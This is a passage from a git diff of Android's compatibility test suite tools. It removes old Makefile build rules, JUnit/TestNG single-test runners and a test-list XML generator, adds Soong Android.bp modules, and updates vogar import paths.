-LOCAL_SRC_FILES := etc/dasm
-LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/dasm$(COMMON_JAVA_PACKAGE_SUFFIX)
-include $(BUILD_PREBUILT)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
-
-include $(LOCAL_PATH)/src/Android.mk
diff --git a/tools/dasm/src/Android.mk b/tools/dasm/src/Android.mk
deleted file mode 100644
index df6108a..0000000
--- a/tools/dasm/src/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-#
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-
-# dasm (dalvik assembler) java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_JAR_MANIFEST := ../etc/manifest.txt
-LOCAL_JAVA_LIBRARIES := dx
-
-LOCAL_MODULE:= dasm
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
-
diff --git a/tools/junit/Android.mk b/tools/junit/Android.mk
deleted file mode 100644
index 0b56d0e..0000000
--- a/tools/junit/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES :=  $(call all-java-files-under, src)
-LOCAL_MODULE := cts-junit
-LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := junit
-LOCAL_DEX_PREOPT := false
-LOCAL_SDK_VERSION := current
-include $(BUILD_JAVA_LIBRARY)
diff --git a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunListener.java b/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunListener.java
deleted file mode 100644
index 06e9bc46..0000000
--- a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunListener.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.junit;
-
-import org.junit.runner.Description;
-import org.junit.runner.Result;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunListener;
-
-public class SingleJUnitTestRunListener extends RunListener {
-    private static class Prefixes {
-        @SuppressWarnings("unused")
-        private static final String INFORMATIONAL_MARKER = "[----------]";
-        private static final String START_TEST_RUN_MARKER = "[==========] Running";
-        private static final String TEST_RUN_MARKER = "[==========]";
-        private static final String START_TEST_MARKER = "[ RUN      ]";
-        private static final String OK_TEST_MARKER = "[       OK ]";
-        private static final String FAILED_TEST_MARKER = "[  FAILED  ]";
-    }
-
-    @Override
-    public void testRunStarted(Description description) throws Exception {
-    }
-
-    @Override
-    public void testRunFinished(Result result) throws Exception {
-        String status = result.wasSuccessful() ? Prefixes.OK_TEST_MARKER
-                : Prefixes.FAILED_TEST_MARKER;
-        System.out.println(status);
-    }
-
-    @Override
-    public void testStarted(Description description) throws Exception {
-        System.out.println(String.format("%s %s.%s", Prefixes.START_TEST_MARKER,
-                description.getClassName(), description.getMethodName()));
-    }
-
-    @Override
-    public void testFinished(Description description) throws Exception {
-    }
-
-    @Override
-    public void testFailure(Failure failure) throws Exception {
-    }
-
-    @Override
-    public void testAssumptionFailure(Failure failure) {
-    }
-
-    @Override
-    public void testIgnored(Description description) throws Exception {
-    }
-}
diff --git a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunner.java b/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunner.java
deleted file mode 100644
index 2eb9f3a..0000000
--- a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunner.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.junit;
-
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.Result;
-
-/**
- * Test runner to run a single JUnit test. It will output either [PASSED] or [FAILED] at the end.
- */
-public class SingleJUnitTestRunner {
-    private static String mUsage = "Usage: java -cp <classpath> SingleJUnitTestRunner" +
-            " class#testmethod";
-    private static final String PASSED_TEST_MARKER = "[ PASSED ]";
-    private static final String FAILED_TEST_MARKER = "[ FAILED ]";
-
-    public static void main(String... args) throws ClassNotFoundException {
-        if (args.length != 1) {
-            throw new IllegalArgumentException(mUsage);
-        }
-        String[] classAndMethod = args[0].split("#");
-        if (classAndMethod.length != 2) {
-            throw new IllegalArgumentException(mUsage);
-        }
-        Request request = Request.method(Class.forName(classAndMethod[0]),
-                classAndMethod[1]);
-        JUnitCore jUnitCore = new JUnitCore();
-        Result result = jUnitCore.run(request);
-        String status = result.wasSuccessful() ? PASSED_TEST_MARKER : FAILED_TEST_MARKER;
-        System.out.println(String.format("%s %s.%s", status,
-                classAndMethod[0], classAndMethod[1]));
-    }
-}
diff --git a/tools/testng/Android.mk b/tools/testng/Android.mk
deleted file mode 100644
index af1593d..0000000
--- a/tools/testng/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES :=  $(call all-java-files-under, src)
-LOCAL_MODULE := cts-testng
-LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := testng
-LOCAL_DEX_PREOPT := false
-include $(BUILD_JAVA_LIBRARY)
diff --git a/tools/testng/gen-test-list-xml.py b/tools/testng/gen-test-list-xml.py
deleted file mode 100755
index 961410d..0000000
--- a/tools/testng/gen-test-list-xml.py
+++ /dev/null
@@ -1,248 +0,0 @@
-#!/usr/bin/python2.7
-
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# Generate a CTS test XML file from a text file containing every single class#method per line
-#
-# For example, given an input file:
-#
-#          foo.txt:
-#                com.android.ClassName#methodNameA
-#                com.android.ClassName#methodNameB
-#
-# Will generate the output file:
-#
-#          TestPackage.xml:
-#                <TestPackage>
-#                  <TestSuite name="com">
-#                    <TestSuite name="android">
-#                      <TestCase name="ClassName">
-#                        <Test name="methodNameA" />
-#                        <Test name="methodNameB" />
-#                      </TestCase>
-#                    </TestSuite>
-#                  </TestSuite>
-#                </TestPackage>
-#
-
-import argparse
-import sys
-
-INDENTATION_INCREASE=2
-
-class BaseNode(object):
-    def __init__(self, name=None):
-        self._children = []
-        self._name = name
-        self._properties = []
-
-    def _get_children(self):
-        return self._children
-
-    def _set_children(self, value):
-        self._children = value
-
-    children = property(_get_children, _set_children, doc="Get/set list of children BaseNode")
-
-    def append_child(self, child):
-        self._children.append(child)
-
-    def has_children(self):
-        return not not self._children
-
-    def _get_name(self):
-        return self._name
-
-    def _set_name(self, value):
-        self._name = value
-
-    name = property(_get_name, _set_name, doc="Get/set the name property of the current XML node")
-
-    def _get_type_name(self):
-        return type(self).__name__
-
-    type_name = property(_get_type_name, doc="Get the name of the current XML node")
-
-    def _set_properties(self, value):
-        self._properties = value
-
-    def _get_properties(self):
-        return self._properties
-
-    properties = property(_get_properties, _set_properties, doc="Get/set additional XML properties such as appPackageName (as a dict)")
-
-    def write_xml(self, out, indent=0):
-        out.write(' ' * indent)
-        out.write('<' + self.type_name)
-
-        if self.name is not None:
-            out.write(' name="')
-            out.write(self.name)
-            out.write('"')
-
-        if self.properties:
-            for key, value in self.properties.iteritems():
-                out.write(' ' + key + '="' + value + '"')
-
-        if not self.has_children():
-            out.write(' />')
-            out.write('\n')
-            return
-
-        out.write('>\n')
-
-        #TODO: print all the properties
-
-        for child in self.children:
-            child.write_xml(out, indent + INDENTATION_INCREASE)
-
-        out.write(' ' * indent)
-        out.write('</' + self.type_name + '>')
-        out.write('\n')
-
-class _SuiteContainer(BaseNode):
-    def get_or_create_suite(self, package_list):
-        debug_print("get_or_create_suite, package_list = " + str(package_list))
-        debug_print("name = " + self.name)
-        # If we are empty, then we just reached the TestSuite which we actually wanted. Return.
-        if not package_list:
-            return self
-
-        current_package = package_list[0]
-        rest_of_packages = package_list[1:]
-
-        # If a suite already exists for the requested package, then have it look/create recursively.
-        for child in self.children:
-            if child.name == current_package:
-                return child.get_or_create_suite(rest_of_packages)
-
-        # No suite exists yet, create it recursively
-        new_suite = TestSuite(name=current_package)
-        self.append_child(new_suite)
-        return new_suite.get_or_create_suite(rest_of_packages)
-
-class TestPackage(_SuiteContainer):
-    def add_class_and_method(self, fq_class_name, method):
-        debug_print("add_class_and_method, fq_class_name=" + fq_class_name + ", method=" + method)
-        package_list = fq_class_name.split(".")[:-1] # a.b.c -> ['a', 'b']
-        just_class_name = fq_class_name.split(".")[-1] # a.b.c -> 'c'
-
-        test_suite = self.get_or_create_suite(package_list)
-
-        if test_suite == self:
-            raise Exception("The suite cannot be the package")
-
-        return test_suite.add_class_and_method(just_class_name, method)
-
-class TestSuite(_SuiteContainer):
-    def add_class_and_method(self, just_class_name, method_name):
-        test_case = self.get_or_create_test_case(just_class_name)
-        return test_case.add_method(method_name)
-
-    def get_or_create_test_case(self, just_class_name):
-        for child in self.children:
-            if child.name == just_class_name:
-                return child
-
-        new_test_case = TestCase(name=just_class_name)
-        self.append_child(new_test_case)
-        return new_test_case
-
-class TestCase(BaseNode):
-    def add_method(self, method_name):
-        tst = Test(name=method_name)
-        self.append_child(tst)
-        return tst
-
-class Test(BaseNode):
-    def __init__(self, name):
-        super(Test, self).__init__(name)
-        self._children = None
-
-def debug_print(x):
-    #print x
-    pass
-
-def build_xml_test_package(input, name, xml_properties):
-    root = TestPackage(name=name)
-
-    for line in input:
-        class_and_method_name = line.split('#')
-        fq_class_name = class_and_method_name[0].strip()
-        method_name = class_and_method_name[1].strip()
-
-        root.add_class_and_method(fq_class_name, method_name)
-
-    root.properties = xml_properties
-    return root
-
-def write_xml(out, test_package):
-    out.write('<?xml version="1.0" encoding="UTF-8"?>\n')
-    test_package.write_xml(out)
-
-def main():
-    parser = argparse.ArgumentParser(description='Process a test methods list file to generate CTS test xml.')
-
-    # Named required
-    parser.add_argument('--cts-name', help="name (e.g. CtsJdwp)", required=True)
-    parser.add_argument('--app-package-name', help="appPackageName (e.g. android.jdwp)", required=True)
-    parser.add_argument('--jar-path', help="jarPath (e.g. CtsJdwp.jar)", required=True)
-
-    # Named optionals
-    parser.add_argument('--test-type', help="testType (default testNGDeviceTest)",
-                        default="testNGDeviceTest")
-    parser.add_argument('--runtime-args', help="runtimeArgs (e.g. -XXlib:libart.so)")
-    parser.add_argument('--version', help="version (default 1.0)", default="1.0")
-
-    # Positional optionals
-    parser.add_argument('input-filename', nargs='?',
-                               help='name of the cts test file (stdin by default)')
-    parser.add_argument('output-filename', nargs='?',
-                               help='name of the cts output file (stdout by default)')
-
-    # Map named arguments into the xml <TestPackage> property key name
-    argv_to_xml = {
-            'app_package_name' : 'appPackageName',
-            'jar_path' : 'jarPath',
-            'test_type' : 'testType',
-            'runtime_args' : 'runtimeArgs',
-            'version' : 'version'
-    }
-
-    args = parser.parse_args()
-    argv = vars(args) # convert Namespace to Dict
-
-    xml_properties = {}
-    for key, value in argv_to_xml.iteritems():
-        if argv.get(key):
-            xml_properties[value] = argv[key]
-
-    debug_print(argv['input-filename'])
-    debug_print(argv['output-filename'])
-
-    name_in = argv['input-filename']
-    name_out = argv['output-filename']
-
-    file_in = name_in and open(name_in, "r") or sys.stdin
-    file_out = name_out and open(name_out, "w+") or sys.stdout
-
-    # read all the input
-    test_package = build_xml_test_package(file_in, args.cts_name, xml_properties)
-    # write all the output
-    write_xml(file_out, test_package)
-
-if __name__ == "__main__":
-    main()
diff --git a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunListener.java b/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunListener.java
deleted file mode 100644
index 2509366..0000000
--- a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunListener.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.testng;
-
-import java.util.Arrays;
-
-public class SingleTestNGTestRunListener implements org.testng.ITestListener {
-    private static class Prefixes {
-        @SuppressWarnings("unused")
-        private static final String INFORMATIONAL_MARKER =  "[----------]";
-        private static final String START_TEST_MARKER =     "[ RUN      ]";
-        private static final String OK_TEST_MARKER =        "[       OK ]";
-        private static final String ERROR_TEST_RUN_MARKER = "[    ERROR ]";
-        private static final String SKIPPED_TEST_MARKER =   "[     SKIP ]";
-        private static final String TEST_RUN_MARKER =       "[==========]";
-    }
-
-    @Override
-    public void onFinish(org.testng.ITestContext context) {
-        System.out.println(String.format("%s", Prefixes.TEST_RUN_MARKER));
-    }
-
-    @Override
-    public void onStart(org.testng.ITestContext context) {
-        System.out.println(String.format("%s", Prefixes.INFORMATIONAL_MARKER));
-    }
-
-    @Override
-    public void onTestFailedButWithinSuccessPercentage(org.testng.ITestResult result) {
-        onTestFailure(result);
-    }
-
-    @Override
-    public void onTestFailure(org.testng.ITestResult result) {
-        // All failures are coalesced into one '[ FAILED ]' message at the end
-        // This is because a single test method can run multiple times with different parameters.
-        // Since we only test a single method, it's safe to combine all failures into one
-        // failure at the end.
-        //
-        // The big pass/fail is printed from SingleTestNGTestRunner, not from the listener.
-        System.out.println(String.format("%s %s ::: %s", Prefixes.ERROR_TEST_RUN_MARKER,
-              getId(result), stringify(result.getThrowable())));
-    }
-
-    @Override
-    public void onTestSkipped(org.testng.ITestResult result) {
-        System.out.println(String.format("%s %s", Prefixes.SKIPPED_TEST_MARKER,
-              getId(result)));
-    }
-
-    @Override
-    public void onTestStart(org.testng.ITestResult result) {
-        System.out.println(String.format("%s %s", Prefixes.START_TEST_MARKER,
-              getId(result)));
-    }
-
-    @Override
-    public void onTestSuccess(org.testng.ITestResult result) {
-        System.out.println(String.format("%s", Prefixes.OK_TEST_MARKER));
-    }
-
-    private String getId(org.testng.ITestResult test) {
-        // TestNG is quite complicated since tests can have arbitrary parameters.
-        // Use its code to stringify a result name instead of doing it ourselves.
-
-        org.testng.remote.strprotocol.TestResultMessage msg =
-                new org.testng.remote.strprotocol.TestResultMessage(
-                    null, /*suite name*/
-                    null, /*test name -- display the test method name instead */
-                    test);
-
-        String className = test.getTestClass().getName();
-        //String name = test.getMethod().getMethodName();
-        return String.format("%s#%s", className, msg.toDisplayString());
-
-    }
-
-    private String stringify(Throwable error) {
-        return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
-    }
-}
diff --git a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunner.java b/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunner.java
deleted file mode 100644
index c9f31af..0000000
--- a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunner.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.testng;
-
-import org.testng.TestNG;
-import org.testng.xml.XmlClass;
-import org.testng.xml.XmlInclude;
-import org.testng.xml.XmlSuite;
-import org.testng.xml.XmlTest;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test runner to run a single TestNG test. It will output either [PASSED] or [FAILED] at the end.
- */
-public class SingleTestNGTestRunner {
-    private static String mUsage = "Usage: java -cp <classpath> SingleTestNGTestRunner" +
-            " class#testMethod";
-    private static final String PASSED_TEST_MARKER = "[ PASSED ]";
-    private static final String FAILED_TEST_MARKER = "[ FAILED ]";
-
-    public static void main(String... args) {
-        if (args.length != 1) {
-            throw new IllegalArgumentException(mUsage);
-        }
-        String[] classAndMethod = args[0].split("#");
-        if (classAndMethod.length != 2) {
-            throw new IllegalArgumentException(mUsage);
-        }
-
-        TestNG testng = createTestNG(classAndMethod[0], classAndMethod[1]);
-        testng.run();
-        String status = (!testng.hasFailure()) ? PASSED_TEST_MARKER : FAILED_TEST_MARKER;
-        System.out.println(String.format("%s %s.%s", status,
-                classAndMethod[0], classAndMethod[1]));
-    }
-
-    private static org.testng.TestNG createTestNG(String klass, String method) {
-        org.testng.TestNG testng = new org.testng.TestNG();
-        testng.setUseDefaultListeners(false);  // Don't create the testng-specific HTML/XML reports.
-        testng.addListener(new SingleTestNGTestRunListener());
-
-        /* Construct the following equivalent XML configuration:
-         *
-         * <!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
-         * <suite>
-         *   <test>
-         *     <classes>
-         *       <class name="$klass">
-         *         <include name="$method" />
-         *       </class>
-         *     </classes>
-         *   </test>
-         * </suite>
-         *
-         * This will ensure that only a single klass/method is being run by testng.
-         * (It can still be run multiple times due to @DataProvider, with different parameters
-         * each time)
-         */
-        List<XmlSuite> suites = new ArrayList<>();
-        XmlSuite the_suite = new XmlSuite();
-        XmlTest the_test = new XmlTest(the_suite);
-        XmlClass the_class = new XmlClass(klass);
-        XmlInclude the_include = new XmlInclude(method);
-
-        the_class.getIncludedMethods().add(the_include);
-        the_test.getXmlClasses().add(the_class);
-        suites.add(the_suite);
-        testng.setXmlSuites(suites);
-
-        return testng;
-    }
-}
diff --git a/tools/testng/test-script b/tools/testng/test-script
deleted file mode 100755
index 9bfdf82..0000000
--- a/tools/testng/test-script
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/bash
-
-adb push $ANDROID_PRODUCT_OUT/system/framework/cts-testng.jar /data/local/tmp
-adb shell "cd /data/local/tmp && dalvikvm -cp cts-testng.jar:ctslibcore/CtsLibcoreOjTestCases.apk com.android.cts.testng.SingleTestNGTestRunner org.openjdk.tests.java.util.stream.GroupByOpTest#testOps"
diff --git a/tools/utils/Android.bp b/tools/utils/Android.bp
new file mode 100644
index 0000000..406ad01
--- /dev/null
+++ b/tools/utils/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// descGen java library
+// ============================================================
+java_library_host {
+    name: "descGen",
+
+    srcs: [
+        "CollectAllTests.java",
+        "DescriptionGenerator.java",
+        "VogarUtils.java",
+    ],
+
+    use_tools_jar: true,
+
+    libs: [
+        "junit",
+        "tradefed",
+    ],
+    static_libs: [
+        "compatibility-host-util",
+        "vogarexpect",
+    ],
+}
diff --git a/tools/utils/Android.mk b/tools/utils/Android.mk
deleted file mode 100644
index 6b01e57..0000000
--- a/tools/utils/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# descGen java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := descGen
-
-LOCAL_SRC_FILES := CollectAllTests.java DescriptionGenerator.java VogarUtils.java
-
-LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
-
-LOCAL_JAVA_LIBRARIES := junit-host tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-host-util vogarexpectlib
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/utils/CollectAllTests.java b/tools/utils/CollectAllTests.java
index 1c6fa99..2582149 100644
--- a/tools/utils/CollectAllTests.java
+++ b/tools/utils/CollectAllTests.java
@@ -22,8 +22,8 @@
 import org.w3c.dom.Node;
 import org.w3c.dom.NodeList;
 
-import vogar.Expectation;
-import vogar.ExpectationStore;
+import vogar.expect.Expectation;
+import vogar.expect.ExpectationStore;
 
 import java.io.BufferedReader;
 import java.io.File;
diff --git a/tools/utils/DescriptionGenerator.java b/tools/utils/DescriptionGenerator.java
index 1e2542f..ada9b4d 100644
--- a/tools/utils/DescriptionGenerator.java
+++ b/tools/utils/DescriptionGenerator.java
@@ -38,8 +38,8 @@
 import org.w3c.dom.Node;
 import org.w3c.dom.NodeList;
 
-import vogar.ExpectationStore;
-import vogar.Expectation;
+import vogar.expect.ExpectationStore;
+import vogar.expect.Expectation;
 
 import com.sun.javadoc.AnnotationDesc;
 import com.sun.javadoc.AnnotationTypeDoc;
diff --git a/tools/utils/VogarUtils.java b/tools/utils/VogarUtils.java
index 8657aa6..d760d7d 100644
--- a/tools/utils/VogarUtils.java
+++ b/tools/utils/VogarUtils.java
@@ -14,10 +14,10 @@
  * limitations under the License.
  */
 
-import vogar.Expectation;
-import vogar.ExpectationStore;
-import vogar.ModeId;
-import vogar.Result;
+import vogar.expect.Expectation;
+import vogar.expect.ExpectationStore;
+import vogar.expect.ModeId;
+import vogar.expect.Result;
 
 import com.android.tradefed.util.AbiUtils;
 
diff --git a/tools/vm-tests-tf/Android.bp b/tools/vm-tests-tf/Android.bp
new file mode 100644
index 0000000..f48f9e6
--- /dev/null
+++ b/tools/vm-tests-tf/Android.bp
@@ -0,0 +1,112 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "cts-vmtests-dot",
+    libs: [ "junit" ],
+    srcs: [ "src/dot/**/*.java" ],
+    installable: false,
+    include_srcs: true,
+    host_supported: true,
+}
+
+java_binary_host {
+    name: "vmtests-buildutil",
+    static_libs: [ "cts-vmtests-dot", "junit" ],
+    srcs: [
+        "build/src/util/build/BuildCTSHostSources.java",
+        "build/src/util/build/BuildCTSMainsSources.java",
+        "build/src/util/build/BuildUtilBase.java",
+        "build/src/util/build/FileUtil.java",
+        "build/src/util/build/JUnitTestCollector.java",
+    ],
+    wrapper: "etc/vmtests-buildutil.sh",
+}
+
+java_genrule_host {
+    name: "vmtests_generated_host_test_sources",
+    tools: [
+        "vmtests-buildutil",
+        "soong_zip",
+    ],
+    cmd: "$(location vmtests-buildutil) util.build.BuildCTSHostSources $(genDir) " +
+         " && $(location soong_zip) -jar -o $(out) -C $(genDir) -D $(genDir)/dot",
+    out: ["vmtests.host.generated.srcjar"],
+}
+
+java_library_host {
+    name: "host-cts-vmtests",
+    libs: [
+        "junit",
+        "tradefed",
+    ],
+    srcs : [ ":vmtests_generated_host_test_sources" ],
+    installable: false,
+}
+
+java_genrule_host {
+    name: "vmtests-dfh-dex-generated",
+    tools: [
+        "cfassembler",
+        "soong_zip",
+    ],
+    tool_files: ["etc/vmtests-cfassembler.sh"],
+    srcs: ["src/dot/**/*.dfh"],
+    cmd: "$(location etc/vmtests-cfassembler.sh) $(location cfassembler) $(location soong_zip) $(genDir) $(out) $(in)",
+    out: ["vmtests_dfh_dex_generated.jar"],
+}
+
+java_genrule_host {
+    name: "vmtests-dasm-dex-generated",
+    tools: [
+        "dasm",
+        "soong_zip",
+    ],
+    tool_files: ["etc/vmtests-dasm.sh"],
+    srcs: [ "src/dot/**/*.d" ],
+    cmd: "$(location etc/vmtests-dasm.sh) $(location dasm) $(location soong_zip) $(genDir) $(out) $(in)",
+    out: ["vmtests_dasm_dex_generated.jar"],
+}
+
+java_genrule {
+    name: "vmtests_generated_mains_test_sources",
+    tools: [
+        "vmtests-buildutil",
+        "soong_zip",
+    ],
+    cmd: "mkdir $(genDir)/src"
+       + " && $(location vmtests-buildutil) util.build.BuildCTSMainsSources $(genDir)/src "
+       + " && $(location soong_zip) -jar -o $(out) -C $(genDir)/src -D $(genDir)/src",
+    out: ["vmtests.mains.generated.srcjar"],
+}
+
+java_library {
+    name: "vmtests-mains",
+    installable: true,
+    libs: [ "cts-vmtests-dot" ],
+    srcs: [":vmtests_generated_mains_test_sources"],
+}
+
+// TODO: Add vmtests-mains' dex jar to vmtests-generated-resources when
+//       it can be addressed.
+
+java_library_host {
+    name: "vmtests-generated-resources",
+    static_libs: [
+        "host-cts-vmtests",
+        "vmtests-dfh-dex-generated",
+        "vmtests-dasm-dex-generated",
+    ],
+    installable: false,
+}
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index ea4f09b..4086cde 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -19,7 +19,7 @@
 include $(CLEAR_VARS)
 
 # custom variables used to generate test description. do not touch!
-LOCAL_SRC_FILES := $(call all-java-files-under, src/dot)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_MODULE := cts-tf-dalvik-lib
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
@@ -37,13 +37,13 @@
 LOCAL_TEST_TYPE := vmHostTest
 LOCAL_JAR_PATH := android.core.vm-tests-tf.jar
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src build/src)
 
 LOCAL_MODULE := cts-tf-dalvik-buildutil
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib d8
+LOCAL_JAVA_LIBRARIES := dx dasm junit jsr305 d8 smali
 
 LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
 
@@ -72,46 +72,44 @@
 vmteststf_dep_jars := \
     $(HOST_JDK_TOOLS_JAR) \
     $(cts-tf-dalvik-lib.jar) \
-    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar d8.jar)
+    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dx.jar junit.jar d8.jar smali.jar) \
